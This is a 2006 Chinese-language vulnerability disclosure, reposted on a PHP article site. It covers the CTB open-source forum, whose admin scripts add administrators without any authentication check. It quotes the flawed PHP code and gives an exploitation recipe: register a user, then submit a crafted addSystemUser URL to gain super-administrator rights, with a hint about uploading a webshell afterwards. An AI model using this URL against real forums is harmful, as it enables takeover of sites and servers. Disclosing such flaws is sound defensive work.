漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
PHP邮件专题
Oct 09 PHP
用header 发送cookie的php代码
Mar 16 PHP
php 提速工具eAccelerator 配置参数详解
May 16 PHP
PHP操作数组相关函数
Feb 03 PHP
利用php实现禁用IE和火狐的缓存问题
Dec 03 PHP
php删除与复制文件夹及其文件夹下所有文件的实现代码
Jan 23 PHP
PHP跳转页面的几种实现方法详解
Jun 08 PHP
php实现无限级分类
Dec 24 PHP
windows平台中配置nginx+php环境
Dec 06 PHP
ThinkPHP Where 条件中常用表达式示例(详解)
Mar 31 PHP
PHP7匿名类的用法示例
Apr 05 PHP
PHP pthreads v3下worker和pool的使用方法示例
Feb 21 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
PHP中的正规表达式(二)
2006/10/09 PHP
php和数据库结合的一个简单的web实例 代码分析 (php初学者)
2011/07/28 PHP
php 获取本地IP代码
2013/06/23 PHP
PHP类的自动加载与命名空间用法实例分析
2020/06/05 PHP
TP5多入口设置实例讲解
2020/12/15 PHP
Javascript 继承机制的实现
2009/08/12 Javascript
jQuery页面滚动浮动层智能定位实例代码
2011/08/23 Javascript
javascript中关于break,continue的特殊用法与介绍
2012/05/24 Javascript
jquery特效 幻灯片效果示例代码
2013/07/16 Javascript
jquery简单的拖动效果实现原理及示例
2013/07/26 Javascript
JS获取各种宽度、高度的简单介绍
2014/12/19 Javascript
javascript巧用eval函数组装表单输入项为json对象的方法
2015/11/25 Javascript
AngularJS使用带属性值的ng-app指令实现自定义模块自动加载的方法
2017/01/04 Javascript
vue利用axios来完成数据的交互
2018/03/23 Javascript
Vue父子组建的简单通信之控制开关Switch的实现
2018/06/04 Javascript
vue计算属性computed、事件、监听器watch的使用讲解
2019/01/21 Javascript
Vue.js+cube-ui(Scroll组件)实现类似头条效果的横向滚动导航条
2019/06/24 Javascript
深入了解Vue3模板编译原理
2020/11/19 Vue.js
videocapture库制作python视频高速传输程序
2013/12/23 Python
python对字典进行排序实例
2014/09/25 Python
python使用in操作符时元组和数组的区别分析
2015/05/19 Python
python多进程共享变量
2016/04/06 Python
Tensorflow之Saver的用法详解
2018/04/23 Python
python实现爬取百度图片的方法示例
2019/07/06 Python
windows下Python安装、使用教程和Notepad++的使用教程
2019/10/06 Python
使用OpenCV去除面积较小的连通域
2020/07/05 Python
特色冷饮店创业计划书
2014/01/28 职场文书
给老婆大人的检讨书
2014/02/24 职场文书
房产委托公证书样本
2014/04/04 职场文书
大学感恩节活动策划方案
2014/10/11 职场文书
党员干部作风建设思想汇报范文
2014/10/25 职场文书
求职简历自荐信怎么写
2015/03/26 职场文书
暑期社会实践新闻稿
2015/07/17 职场文书
python实战之一步一步教你绘制小猪佩奇
2021/04/22 Python
MYSQL如何查看进程和kill进程
2022/03/13 MySQL
python中数组和列表的简单实例
2022/03/25 Python